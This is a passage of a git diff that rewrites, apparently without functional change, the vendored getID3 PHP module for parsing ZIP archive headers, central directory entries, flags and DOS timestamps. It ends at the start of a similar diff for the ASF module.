2)); - $EndOfCentralDirectory['directory_entries_this_disk'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 8, 2)); - $EndOfCentralDirectory['directory_entries_total'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 10, 2)); - $EndOfCentralDirectory['directory_size'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 12, 4)); - $EndOfCentralDirectory['directory_offset'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 16, 4)); - $EndOfCentralDirectory['comment_length'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 20, 2)); - - if ($EndOfCentralDirectory['comment_length'] > 0) { - $EndOfCentralDirectory['comment'] = $this->fread($EndOfCentralDirectory['comment_length']); - } - - return $EndOfCentralDirectory; - } - - /** - * @param int $flagbytes - * @param int $compressionmethod - * - * @return array - */ - public static function ZIPparseGeneralPurposeFlags($flagbytes, $compressionmethod) { - // https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip-printable.html - $ParsedFlags = array(); - $ParsedFlags['encrypted'] = (bool) ($flagbytes & 0x0001); - // 0x0002 -- see below - // 0x0004 -- see below - $ParsedFlags['data_descriptor_used'] = (bool) ($flagbytes & 0x0008); - $ParsedFlags['enhanced_deflation'] = (bool) ($flagbytes & 0x0010); - $ParsedFlags['compressed_patched_data'] = (bool) ($flagbytes & 0x0020); - $ParsedFlags['strong_encryption'] = (bool) ($flagbytes & 0x0040); - // 0x0080 - unused - // 0x0100 - unused - // 0x0200 - unused - // 0x0400 - unused - $ParsedFlags['language_encoding'] = (bool) ($flagbytes & 0x0800); - // 0x1000 - reserved - $ParsedFlags['mask_header_values'] = (bool) ($flagbytes & 0x2000); - // 0x4000 - reserved - // 0x8000 - reserved - - switch ($compressionmethod) { - case 6: - $ParsedFlags['dictionary_size'] = (($flagbytes & 0x0002) ? 8192 : 4096); - $ParsedFlags['shannon_fano_trees'] = (($flagbytes & 0x0004) ? 3 : 2); - break; - - case 8: - case 9: - switch (($flagbytes & 0x0006) >> 1) { - case 0: - $ParsedFlags['compression_speed'] = 'normal'; - break; - case 1: - $ParsedFlags['compression_speed'] = 'maximum'; - break; - case 2: - $ParsedFlags['compression_speed'] = 'fast'; - break; - case 3: - $ParsedFlags['compression_speed'] = 'superfast'; - break; - } - break; - } - - return $ParsedFlags; - } - - /** - * @param int $index - * - * @return string - */ - public static function ZIPversionOSLookup($index) { - static $ZIPversionOSLookup = array( - 0 => 'MS-DOS and OS/2 (FAT / VFAT / FAT32 file systems)', - 1 => 'Amiga', - 2 => 'OpenVMS', - 3 => 'Unix', - 4 => 'VM/CMS', - 5 => 'Atari ST', - 6 => 'OS/2 H.P.F.S.', - 7 => 'Macintosh', - 8 => 'Z-System', - 9 => 'CP/M', - 10 => 'Windows NTFS', - 11 => 'MVS', - 12 => 'VSE', - 13 => 'Acorn Risc', - 14 => 'VFAT', - 15 => 'Alternate MVS', - 16 => 'BeOS', - 17 => 'Tandem', - 18 => 'OS/400', - 19 => 'OS/X (Darwin)', - ); - - return (isset($ZIPversionOSLookup[$index]) ? $ZIPversionOSLookup[$index] : '[unknown]'); - } - - /** - * @param int $index - * - * @return string - */ - public static function ZIPcompressionMethodLookup($index) { - // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/ZIP.html - static $ZIPcompressionMethodLookup = array( - 0 => 'store', - 1 => 'shrink', - 2 => 'reduce-1', - 3 => 'reduce-2', - 4 => 'reduce-3', - 5 => 'reduce-4', - 6 => 'implode', - 7 => 'tokenize', - 8 => 'deflate', - 9 => 'deflate64', - 10 => 'Imploded (old IBM TERSE)', - 11 => 'RESERVED[11]', - 12 => 'BZIP2', - 13 => 'RESERVED[13]', - 14 => 'LZMA (EFS)', - 15 => 'RESERVED[15]', - 16 => 'RESERVED[16]', - 17 => 'RESERVED[17]', - 18 => 'IBM TERSE (new)', - 19 => 'IBM LZ77 z Architecture (PFS)', - 96 => 'JPEG recompressed', - 97 => 'WavPack compressed', - 98 => 'PPMd version I, Rev 1', - ); - - return (isset($ZIPcompressionMethodLookup[$index]) ? $ZIPcompressionMethodLookup[$index] : '[unknown]'); - } - - /** - * @param int $DOSdate - * @param int $DOStime - * - * @return int - */ - public static function DOStime2UNIXtime($DOSdate, $DOStime) { - // wFatDate - // Specifies the MS-DOS date. The date is a packed 16-bit value with the following format: - // Bits Contents - // 0-4 Day of the month (1-31) - // 5-8 Month (1 = January, 2 = February, and so on) - // 9-15 Year offset from 1980 (add 1980 to get actual year) - - $UNIXday = ($DOSdate & 0x001F); - $UNIXmonth = (($DOSdate & 0x01E0) >> 5); - $UNIXyear = (($DOSdate & 0xFE00) >> 9) + 1980; - - // wFatTime - // Specifies the MS-DOS time. The time is a packed 16-bit value with the following format: - // Bits Contents - // 0-4 Second divided by 2 - // 5-10 Minute (0-59) - // 11-15 Hour (0-23 on a 24-hour clock) - - $UNIXsecond = ($DOStime & 0x001F) * 2; - $UNIXminute = (($DOStime & 0x07E0) >> 5); - $UNIXhour = (($DOStime & 0xF800) >> 11); - - return gmmktime($UNIXhour, $UNIXminute, $UNIXsecond, $UNIXmonth, $UNIXday, $UNIXyear); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.zip.php // +// module for analyzing pkZip files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_zip extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'zip'; + $info['zip']['encoding'] = 'ISO-8859-1'; + $info['zip']['files'] = array(); + + $info['zip']['compressed_size'] = 0; + $info['zip']['uncompressed_size'] = 0; + $info['zip']['entries_count'] = 0; + + if (!getid3_lib::intValueSupported($info['filesize'])) { + $this->error('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB, not supported by PHP'); + return false; + } else { + $EOCDsearchData = ''; + $EOCDsearchCounter = 0; + while ($EOCDsearchCounter++ < 512) { + + $this->fseek(-128 * $EOCDsearchCounter, SEEK_END); + $EOCDsearchData = $this->fread(128).$EOCDsearchData; + + if (strstr($EOCDsearchData, 'PK'."\x05\x06")) { + + $EOCDposition = strpos($EOCDsearchData, 'PK'."\x05\x06"); + $this->fseek((-128 * $EOCDsearchCounter) + $EOCDposition, SEEK_END); + $info['zip']['end_central_directory'] = $this->ZIPparseEndOfCentralDirectory(); + + $this->fseek($info['zip']['end_central_directory']['directory_offset']); + $info['zip']['entries_count'] = 0; + while ($centraldirectoryentry = $this->ZIPparseCentralDirectory()) { + $info['zip']['central_directory'][] = $centraldirectoryentry; + $info['zip']['entries_count']++; + $info['zip']['compressed_size'] += $centraldirectoryentry['compressed_size']; + $info['zip']['uncompressed_size'] += $centraldirectoryentry['uncompressed_size']; + + //if ($centraldirectoryentry['uncompressed_size'] > 0) { zero-byte files are valid + if (!empty($centraldirectoryentry['filename'])) { + $info['zip']['files'] = getid3_lib::array_merge_clobber($info['zip']['files'], getid3_lib::CreateDeepArray($centraldirectoryentry['filename'], '/', $centraldirectoryentry['uncompressed_size'])); + } + } + + if ($info['zip']['entries_count'] == 0) { + $this->error('No Central Directory entries found (truncated file?)'); + return false; + } + + if (!empty($info['zip']['end_central_directory']['comment'])) { + $info['zip']['comments']['comment'][] = $info['zip']['end_central_directory']['comment']; + } + + if (isset($info['zip']['central_directory'][0]['compression_method'])) { + $info['zip']['compression_method'] = $info['zip']['central_directory'][0]['compression_method']; + } + if (isset($info['zip']['central_directory'][0]['flags']['compression_speed'])) { + $info['zip']['compression_speed'] = $info['zip']['central_directory'][0]['flags']['compression_speed']; + } + if (isset($info['zip']['compression_method']) && ($info['zip']['compression_method'] == 'store') && !isset($info['zip']['compression_speed'])) { + $info['zip']['compression_speed'] = 'store'; + } + + // secondary check - we (should) already have all the info we NEED from the Central Directory above, but scanning each + // Local File Header entry will + foreach ($info['zip']['central_directory'] as $central_directory_entry) { + $this->fseek($central_directory_entry['entry_offset']); + if ($fileentry = $this->ZIPparseLocalFileHeader()) { + $info['zip']['entries'][] = $fileentry; + } else { + $this->warning('Error parsing Local File Header at offset '.$central_directory_entry['entry_offset']); + } + } + + // check for EPUB files + if (!empty($info['zip']['entries'][0]['filename']) && + ($info['zip']['entries'][0]['filename'] == 'mimetype') && + ($info['zip']['entries'][0]['compression_method'] == 'store') && + ($info['zip']['entries'][0]['uncompressed_size'] == 20) && + isset($info['zip']['entries'][0]['data_offset'])) { + // http://idpf.org/epub/30/spec/epub30-ocf.html + // "3.3 OCF ZIP Container Media Type Identification + // OCF ZIP Containers must include a mimetype file as the first file in the Container, and the contents of this file must be the MIME type string application/epub+zip. + // The contents of the mimetype file must not contain any leading padding or whitespace, must not begin with the Unicode signature (or Byte Order Mark), + // and the case of the MIME type string must be exactly as presented above. The mimetype file additionally must be neither compressed nor encrypted, + // and there must not be an extra field in its ZIP header." + $this->fseek($info['zip']['entries'][0]['data_offset']); + if ($this->fread(20) == 'application/epub+zip') { + $info['fileformat'] = 'zip.epub'; + $info['mime_type'] = 'application/epub+zip'; + } + } + + // check for Office Open XML files (e.g. .docx, .xlsx) + if (!empty($info['zip']['files']['[Content_Types].xml']) && + !empty($info['zip']['files']['_rels']['.rels']) && + !empty($info['zip']['files']['docProps']['app.xml']) && + !empty($info['zip']['files']['docProps']['core.xml'])) { + // http://technet.microsoft.com/en-us/library/cc179224.aspx + $info['fileformat'] = 'zip.msoffice'; + if (!empty($info['zip']['files']['ppt'])) { + $info['mime_type'] = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; + } elseif (!empty($info['zip']['files']['xl'])) { + $info['mime_type'] = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; + } elseif (!empty($info['zip']['files']['word'])) { + $info['mime_type'] = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; + } + } + + return true; + } + } + } + + if (!$this->getZIPentriesFilepointer()) { + unset($info['zip']); + $info['fileformat'] = ''; + $this->error('Cannot find End Of Central Directory (truncated file?)'); + return false; + } + + // central directory couldn't be found and/or parsed + // scan through actual file data entries, recover as much as possible from probable trucated file + if ($info['zip']['compressed_size'] > ($info['filesize'] - 46 - 22)) { + $this->error('Warning: Truncated file! - Total compressed file sizes ('.$info['zip']['compressed_size'].' bytes) is greater than filesize minus Central Directory and End Of Central Directory structures ('.($info['filesize'] - 46 - 22).' bytes)'); + } + $this->error('Cannot find End Of Central Directory - returned list of files in [zip][entries] array may not be complete'); + foreach ($info['zip']['entries'] as $key => $valuearray) { + $info['zip']['files'][$valuearray['filename']] = $valuearray['uncompressed_size']; + } + return true; + } + + /** + * @return bool + */ + public function getZIPHeaderFilepointerTopDown() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'zip'; + + $info['zip']['compressed_size'] = 0; + $info['zip']['uncompressed_size'] = 0; + $info['zip']['entries_count'] = 0; + + rewind($this->getid3->fp); + while ($fileentry = $this->ZIPparseLocalFileHeader()) { + $info['zip']['entries'][] = $fileentry; + $info['zip']['entries_count']++; + } + if ($info['zip']['entries_count'] == 0) { + $this->error('No Local File Header entries found'); + return false; + } + + $info['zip']['entries_count'] = 0; + while ($centraldirectoryentry = $this->ZIPparseCentralDirectory()) { + $info['zip']['central_directory'][] = $centraldirectoryentry; + $info['zip']['entries_count']++; + $info['zip']['compressed_size'] += $centraldirectoryentry['compressed_size']; + $info['zip']['uncompressed_size'] += $centraldirectoryentry['uncompressed_size']; + } + if ($info['zip']['entries_count'] == 0) { + $this->error('No Central Directory entries found (truncated file?)'); + return false; + } + + if ($EOCD = $this->ZIPparseEndOfCentralDirectory()) { + $info['zip']['end_central_directory'] = $EOCD; + } else { + $this->error('No End Of Central Directory entry found (truncated file?)'); + return false; + } + + if (!empty($info['zip']['end_central_directory']['comment'])) { + $info['zip']['comments']['comment'][] = $info['zip']['end_central_directory']['comment']; + } + + return true; + } + + /** + * @return bool + */ + public function getZIPentriesFilepointer() { + $info = &$this->getid3->info; + + $info['zip']['compressed_size'] = 0; + $info['zip']['uncompressed_size'] = 0; + $info['zip']['entries_count'] = 0; + + rewind($this->getid3->fp); + while ($fileentry = $this->ZIPparseLocalFileHeader()) { + $info['zip']['entries'][] = $fileentry; + $info['zip']['entries_count']++; + $info['zip']['compressed_size'] += $fileentry['compressed_size']; + $info['zip']['uncompressed_size'] += $fileentry['uncompressed_size']; + } + if ($info['zip']['entries_count'] == 0) { + $this->error('No Local File Header entries found'); + return false; + } + + return true; + } + + /** + * @return array|false + */ + public function ZIPparseLocalFileHeader() { + $LocalFileHeader = array(); + $LocalFileHeader['offset'] = $this->ftell(); + + $ZIPlocalFileHeader = $this->fread(30); + + $LocalFileHeader['raw']['signature'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 0, 4)); + if ($LocalFileHeader['raw']['signature'] != 0x04034B50) { // "PK\x03\x04" + // invalid Local File Header Signature + $this->fseek($LocalFileHeader['offset']); // seek back to where filepointer originally was so it can be handled properly + return false; + } + $LocalFileHeader['raw']['extract_version'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 4, 2)); + $LocalFileHeader['raw']['general_flags'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 6, 2)); + $LocalFileHeader['raw']['compression_method'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 8, 2)); + $LocalFileHeader['raw']['last_mod_file_time'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 10, 2)); + $LocalFileHeader['raw']['last_mod_file_date'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 12, 2)); + $LocalFileHeader['raw']['crc_32'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 14, 4)); + $LocalFileHeader['raw']['compressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 18, 4)); + $LocalFileHeader['raw']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 22, 4)); + $LocalFileHeader['raw']['filename_length'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 26, 2)); + $LocalFileHeader['raw']['extra_field_length'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 28, 2)); + + $LocalFileHeader['extract_version'] = sprintf('%1.1f', $LocalFileHeader['raw']['extract_version'] / 10); + $LocalFileHeader['host_os'] = $this->ZIPversionOSLookup(($LocalFileHeader['raw']['extract_version'] & 0xFF00) >> 8); + $LocalFileHeader['compression_method'] = $this->ZIPcompressionMethodLookup($LocalFileHeader['raw']['compression_method']); + $LocalFileHeader['compressed_size'] = $LocalFileHeader['raw']['compressed_size']; + $LocalFileHeader['uncompressed_size'] = $LocalFileHeader['raw']['uncompressed_size']; + $LocalFileHeader['flags'] = $this->ZIPparseGeneralPurposeFlags($LocalFileHeader['raw']['general_flags'], $LocalFileHeader['raw']['compression_method']); + $LocalFileHeader['last_modified_timestamp'] = $this->DOStime2UNIXtime($LocalFileHeader['raw']['last_mod_file_date'], $LocalFileHeader['raw']['last_mod_file_time']); + + $FilenameExtrafieldLength = $LocalFileHeader['raw']['filename_length'] + $LocalFileHeader['raw']['extra_field_length']; + if ($FilenameExtrafieldLength > 0) { + $ZIPlocalFileHeader .= $this->fread($FilenameExtrafieldLength); + + if ($LocalFileHeader['raw']['filename_length'] > 0) { + $LocalFileHeader['filename'] = substr($ZIPlocalFileHeader, 30, $LocalFileHeader['raw']['filename_length']); + } + if ($LocalFileHeader['raw']['extra_field_length'] > 0) { + $LocalFileHeader['raw']['extra_field_data'] = substr($ZIPlocalFileHeader, 30 + $LocalFileHeader['raw']['filename_length'], $LocalFileHeader['raw']['extra_field_length']); + } + } + + if ($LocalFileHeader['compressed_size'] == 0) { + // *Could* be a zero-byte file + // But could also be a file written on the fly that didn't know compressed filesize beforehand. + // Correct compressed filesize should be in the data_descriptor located after this file data, and also in Central Directory (at end of zip file) + if (!empty($this->getid3->info['zip']['central_directory'])) { + foreach ($this->getid3->info['zip']['central_directory'] as $central_directory_entry) { + if ($central_directory_entry['entry_offset'] == $LocalFileHeader['offset']) { + if ($central_directory_entry['compressed_size'] > 0) { + // overwrite local zero value (but not ['raw']'compressed_size']) so that seeking for data_descriptor (and next file entry) works correctly + $LocalFileHeader['compressed_size'] = $central_directory_entry['compressed_size']; + } + break; + } + } + } + + } + $LocalFileHeader['data_offset'] = $this->ftell(); + $this->fseek($LocalFileHeader['compressed_size'], SEEK_CUR); // this should (but may not) match value in $LocalFileHeader['raw']['compressed_size'] -- $LocalFileHeader['compressed_size'] could have been overwritten above with value from Central Directory + + if ($LocalFileHeader['flags']['data_descriptor_used']) { + $DataDescriptor = $this->fread(16); + $LocalFileHeader['data_descriptor']['signature'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 0, 4)); + if ($LocalFileHeader['data_descriptor']['signature'] != 0x08074B50) { // "PK\x07\x08" + $this->getid3->warning('invalid Local File Header Data Descriptor Signature at offset '.($this->ftell() - 16).' - expecting 08 07 4B 50, found '.getid3_lib::PrintHexBytes($LocalFileHeader['data_descriptor']['signature'])); + $this->fseek($LocalFileHeader['offset']); // seek back to where filepointer originally was so it can be handled properly + return false; + } + $LocalFileHeader['data_descriptor']['crc_32'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 4, 4)); + $LocalFileHeader['data_descriptor']['compressed_size'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 8, 4)); + $LocalFileHeader['data_descriptor']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 12, 4)); + if (!$LocalFileHeader['raw']['compressed_size'] && $LocalFileHeader['data_descriptor']['compressed_size']) { + foreach ($this->getid3->info['zip']['central_directory'] as $central_directory_entry) { + if ($central_directory_entry['entry_offset'] == $LocalFileHeader['offset']) { + if ($LocalFileHeader['data_descriptor']['compressed_size'] == $central_directory_entry['compressed_size']) { + // $LocalFileHeader['compressed_size'] already set from Central Directory + } else { + $this->warning('conflicting compressed_size from data_descriptor ('.$LocalFileHeader['data_descriptor']['compressed_size'].') vs Central Directory ('.$central_directory_entry['compressed_size'].') for file at offset '.$LocalFileHeader['offset']); + } + + if ($LocalFileHeader['data_descriptor']['uncompressed_size'] == $central_directory_entry['uncompressed_size']) { + $LocalFileHeader['uncompressed_size'] = $LocalFileHeader['data_descriptor']['uncompressed_size']; + } else { + $this->warning('conflicting uncompressed_size from data_descriptor ('.$LocalFileHeader['data_descriptor']['uncompressed_size'].') vs Central Directory ('.$central_directory_entry['uncompressed_size'].') for file at offset '.$LocalFileHeader['offset']); + } + break; + } + } + } + } + return $LocalFileHeader; + } + + /** + * @return array|false + */ + public function ZIPparseCentralDirectory() { + $CentralDirectory = array(); + $CentralDirectory['offset'] = $this->ftell(); + + $ZIPcentralDirectory = $this->fread(46); + + $CentralDirectory['raw']['signature'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 0, 4)); + if ($CentralDirectory['raw']['signature'] != 0x02014B50) { + // invalid Central Directory Signature + $this->fseek($CentralDirectory['offset']); // seek back to where filepointer originally was so it can be handled properly + return false; + } + $CentralDirectory['raw']['create_version'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 4, 2)); + $CentralDirectory['raw']['extract_version'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 6, 2)); + $CentralDirectory['raw']['general_flags'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 8, 2)); + $CentralDirectory['raw']['compression_method'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 10, 2)); + $CentralDirectory['raw']['last_mod_file_time'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 12, 2)); + $CentralDirectory['raw']['last_mod_file_date'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 14, 2)); + $CentralDirectory['raw']['crc_32'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 16, 4)); + $CentralDirectory['raw']['compressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 20, 4)); + $CentralDirectory['raw']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 24, 4)); + $CentralDirectory['raw']['filename_length'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 28, 2)); + $CentralDirectory['raw']['extra_field_length'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 30, 2)); + $CentralDirectory['raw']['file_comment_length'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 32, 2)); + $CentralDirectory['raw']['disk_number_start'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 34, 2)); + $CentralDirectory['raw']['internal_file_attrib'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 36, 2)); + $CentralDirectory['raw']['external_file_attrib'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 38, 4)); + $CentralDirectory['raw']['local_header_offset'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 42, 4)); + + $CentralDirectory['entry_offset'] = $CentralDirectory['raw']['local_header_offset']; + $CentralDirectory['create_version'] = sprintf('%1.1f', $CentralDirectory['raw']['create_version'] / 10); + $CentralDirectory['extract_version'] = sprintf('%1.1f', $CentralDirectory['raw']['extract_version'] / 10); + $CentralDirectory['host_os'] = $this->ZIPversionOSLookup(($CentralDirectory['raw']['extract_version'] & 0xFF00) >> 8); + $CentralDirectory['compression_method'] = $this->ZIPcompressionMethodLookup($CentralDirectory['raw']['compression_method']); + $CentralDirectory['compressed_size'] = $CentralDirectory['raw']['compressed_size']; + $CentralDirectory['uncompressed_size'] = $CentralDirectory['raw']['uncompressed_size']; + $CentralDirectory['flags'] = $this->ZIPparseGeneralPurposeFlags($CentralDirectory['raw']['general_flags'], $CentralDirectory['raw']['compression_method']); + $CentralDirectory['last_modified_timestamp'] = $this->DOStime2UNIXtime($CentralDirectory['raw']['last_mod_file_date'], $CentralDirectory['raw']['last_mod_file_time']); + + $FilenameExtrafieldCommentLength = $CentralDirectory['raw']['filename_length'] + $CentralDirectory['raw']['extra_field_length'] + $CentralDirectory['raw']['file_comment_length']; + if ($FilenameExtrafieldCommentLength > 0) { + $FilenameExtrafieldComment = $this->fread($FilenameExtrafieldCommentLength); + + if ($CentralDirectory['raw']['filename_length'] > 0) { + $CentralDirectory['filename'] = substr($FilenameExtrafieldComment, 0, $CentralDirectory['raw']['filename_length']); + } + if ($CentralDirectory['raw']['extra_field_length'] > 0) { + $CentralDirectory['raw']['extra_field_data'] = substr($FilenameExtrafieldComment, $CentralDirectory['raw']['filename_length'], $CentralDirectory['raw']['extra_field_length']); + } + if ($CentralDirectory['raw']['file_comment_length'] > 0) { + $CentralDirectory['file_comment'] = substr($FilenameExtrafieldComment, $CentralDirectory['raw']['filename_length'] + $CentralDirectory['raw']['extra_field_length'], $CentralDirectory['raw']['file_comment_length']); + } + } + + return $CentralDirectory; + } + + /** + * @return array|false + */ + public function ZIPparseEndOfCentralDirectory() { + $EndOfCentralDirectory = array(); + $EndOfCentralDirectory['offset'] = $this->ftell(); + + $ZIPendOfCentralDirectory = $this->fread(22); + + $EndOfCentralDirectory['signature'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 0, 4)); + if ($EndOfCentralDirectory['signature'] != 0x06054B50) { + // invalid End Of Central Directory Signature + $this->fseek($EndOfCentralDirectory['offset']); // seek back to where filepointer originally was so it can be handled properly + return false; + } + $EndOfCentralDirectory['disk_number_current'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 4, 2)); + $EndOfCentralDirectory['disk_number_start_directory'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 6, 2)); + $EndOfCentralDirectory['directory_entries_this_disk'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 8, 2)); + $EndOfCentralDirectory['directory_entries_total'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 10, 2)); + $EndOfCentralDirectory['directory_size'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 12, 4)); + $EndOfCentralDirectory['directory_offset'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 16, 4)); + $EndOfCentralDirectory['comment_length'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 20, 2)); + + if ($EndOfCentralDirectory['comment_length'] > 0) { + $EndOfCentralDirectory['comment'] = $this->fread($EndOfCentralDirectory['comment_length']); + } + + return $EndOfCentralDirectory; + } + + /** + * @param int $flagbytes + * @param int $compressionmethod + * + * @return array + */ + public static function ZIPparseGeneralPurposeFlags($flagbytes, $compressionmethod) { + // https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip-printable.html + $ParsedFlags = array(); + $ParsedFlags['encrypted'] = (bool) ($flagbytes & 0x0001); + // 0x0002 -- see below + // 0x0004 -- see below + $ParsedFlags['data_descriptor_used'] = (bool) ($flagbytes & 0x0008); + $ParsedFlags['enhanced_deflation'] = (bool) ($flagbytes & 0x0010); + $ParsedFlags['compressed_patched_data'] = (bool) ($flagbytes & 0x0020); + $ParsedFlags['strong_encryption'] = (bool) ($flagbytes & 0x0040); + // 0x0080 - unused + // 0x0100 - unused + // 0x0200 - unused + // 0x0400 - unused + $ParsedFlags['language_encoding'] = (bool) ($flagbytes & 0x0800); + // 0x1000 - reserved + $ParsedFlags['mask_header_values'] = (bool) ($flagbytes & 0x2000); + // 0x4000 - reserved + // 0x8000 - reserved + + switch ($compressionmethod) { + case 6: + $ParsedFlags['dictionary_size'] = (($flagbytes & 0x0002) ? 8192 : 4096); + $ParsedFlags['shannon_fano_trees'] = (($flagbytes & 0x0004) ? 3 : 2); + break; + + case 8: + case 9: + switch (($flagbytes & 0x0006) >> 1) { + case 0: + $ParsedFlags['compression_speed'] = 'normal'; + break; + case 1: + $ParsedFlags['compression_speed'] = 'maximum'; + break; + case 2: + $ParsedFlags['compression_speed'] = 'fast'; + break; + case 3: + $ParsedFlags['compression_speed'] = 'superfast'; + break; + } + break; + } + + return $ParsedFlags; + } + + /** + * @param int $index + * + * @return string + */ + public static function ZIPversionOSLookup($index) { + static $ZIPversionOSLookup = array( + 0 => 'MS-DOS and OS/2 (FAT / VFAT / FAT32 file systems)', + 1 => 'Amiga', + 2 => 'OpenVMS', + 3 => 'Unix', + 4 => 'VM/CMS', + 5 => 'Atari ST', + 6 => 'OS/2 H.P.F.S.', + 7 => 'Macintosh', + 8 => 'Z-System', + 9 => 'CP/M', + 10 => 'Windows NTFS', + 11 => 'MVS', + 12 => 'VSE', + 13 => 'Acorn Risc', + 14 => 'VFAT', + 15 => 'Alternate MVS', + 16 => 'BeOS', + 17 => 'Tandem', + 18 => 'OS/400', + 19 => 'OS/X (Darwin)', + ); + + return (isset($ZIPversionOSLookup[$index]) ? $ZIPversionOSLookup[$index] : '[unknown]'); + } + + /** + * @param int $index + * + * @return string + */ + public static function ZIPcompressionMethodLookup($index) { + // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/ZIP.html + static $ZIPcompressionMethodLookup = array( + 0 => 'store', + 1 => 'shrink', + 2 => 'reduce-1', + 3 => 'reduce-2', + 4 => 'reduce-3', + 5 => 'reduce-4', + 6 => 'implode', + 7 => 'tokenize', + 8 => 'deflate', + 9 => 'deflate64', + 10 => 'Imploded (old IBM TERSE)', + 11 => 'RESERVED[11]', + 12 => 'BZIP2', + 13 => 'RESERVED[13]', + 14 => 'LZMA (EFS)', + 15 => 'RESERVED[15]', + 16 => 'RESERVED[16]', + 17 => 'RESERVED[17]', + 18 => 'IBM TERSE (new)', + 19 => 'IBM LZ77 z Architecture (PFS)', + 96 => 'JPEG recompressed', + 97 => 'WavPack compressed', + 98 => 'PPMd version I, Rev 1', + ); + + return (isset($ZIPcompressionMethodLookup[$index]) ? $ZIPcompressionMethodLookup[$index] : '[unknown]'); + } + + /** + * @param int $DOSdate + * @param int $DOStime + * + * @return int + */ + public static function DOStime2UNIXtime($DOSdate, $DOStime) { + // wFatDate + // Specifies the MS-DOS date. The date is a packed 16-bit value with the following format: + // Bits Contents + // 0-4 Day of the month (1-31) + // 5-8 Month (1 = January, 2 = February, and so on) + // 9-15 Year offset from 1980 (add 1980 to get actual year) + + $UNIXday = ($DOSdate & 0x001F); + $UNIXmonth = (($DOSdate & 0x01E0) >> 5); + $UNIXyear = (($DOSdate & 0xFE00) >> 9) + 1980; + + // wFatTime + // Specifies the MS-DOS time. The time is a packed 16-bit value with the following format: + // Bits Contents + // 0-4 Second divided by 2 + // 5-10 Minute (0-59) + // 11-15 Hour (0-23 on a 24-hour clock) + + $UNIXsecond = ($DOStime & 0x001F) * 2; + $UNIXminute = (($DOStime & 0x07E0) >> 5); + $UNIXhour = (($DOStime & 0xF800) >> 11); + + return gmmktime($UNIXhour, $UNIXminute, $UNIXsecond, $UNIXmonth, $UNIXday, $UNIXyear); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.asf.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.asf.php index 4fbb20df66..85edb7d755 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.asf.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.asf.php @@ -1,2088 +1,2088 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // 